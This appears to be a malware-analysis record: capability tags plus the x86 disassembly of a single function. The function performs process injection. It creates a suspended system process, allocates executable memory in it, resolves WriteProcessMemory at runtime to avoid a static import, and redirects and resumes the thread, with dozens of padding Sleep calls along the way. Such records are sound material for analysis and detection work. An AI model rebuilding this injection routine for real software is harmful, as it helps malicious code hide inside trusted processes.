Function at 0x408d70
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Get common file path
Resume thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov dword [ebp - 0x428], 0
push 0x40
push 0
lea eax, [ebp - 0x424]
push eax
call fcn.00410190
add esp, 0xc
mov dword [ebp - 0x2d0], 0
push 0x2c8
push 0
lea ecx, [ebp - 0x2cc]
push ecx
call fcn.00410190
add esp, 0xc
mov dword [ebp - 0x3e0], 0
push 0x44
push 0
lea edx, [ebp - 0x428]
push edx
call fcn.00410190
add esp, 0xc
push 0x10
push 0
mov eax, dword [ebp + 0x10]
push eax
call fcn.00410190
add esp, 0xc
push 0x2cc
push 0
lea ecx, [ebp - 0x2d0]
push ecx
call fcn.00410190
add esp, 0xc
mov dword [ebp - 0x428], 0x44
mov dword [ebp - 0x3fc], 1
xor edx, edx
mov word [ebp - 0x3f8], dx
mov byte [ebp - 0x3d8], 0
push 0xfe
push 0
lea eax, [ebp - 0x3d7]
push eax
call fcn.00410190
add esp, 0xc
push 0xff
lea ecx, [ebp - 0x3d8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov byte [ebp - 0x3d5], 0
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0x428]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x3d8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 0
jne 0x408e88
xor eax, eax
jmp 0x4090cc
push 0x40
push 0x3000
mov edx, dword [ebp + 0xc]
push edx
push 0
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0
jne 0x408eb7
xor eax, eax
jmp 0x4090cc
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.WriteProcessMemory
push 0x424a60
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x3dc], eax
push 0
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x2d4]
push ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx]
push eax
call dword [ebp - 0x3dc]
test eax, eax
jne 0x40904c
xor eax, eax
jmp 0x4090cc
mov dword [ebp - 0x2d8], 0
mov dword [ebp - 0x2d0], 0x10007
lea ecx, [ebp - 0x2d0]
push ecx
mov edx, dword [ebp + 0x10]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 0
jne 0x409087
xor eax, eax
jmp 0x4090cc
mov ecx, dword [ebp - 0x2d4]
mov dword [ebp - 0x218], ecx
lea edx, [ebp - 0x2d0]
push edx
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 0
jne 0x4090ba
xor eax, eax
jmp 0x4090cc
mov edx, dword [ebp + 0x10]
mov eax, dword [edx + 4]
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, 1
mov esp, ebp
pop ebp
ret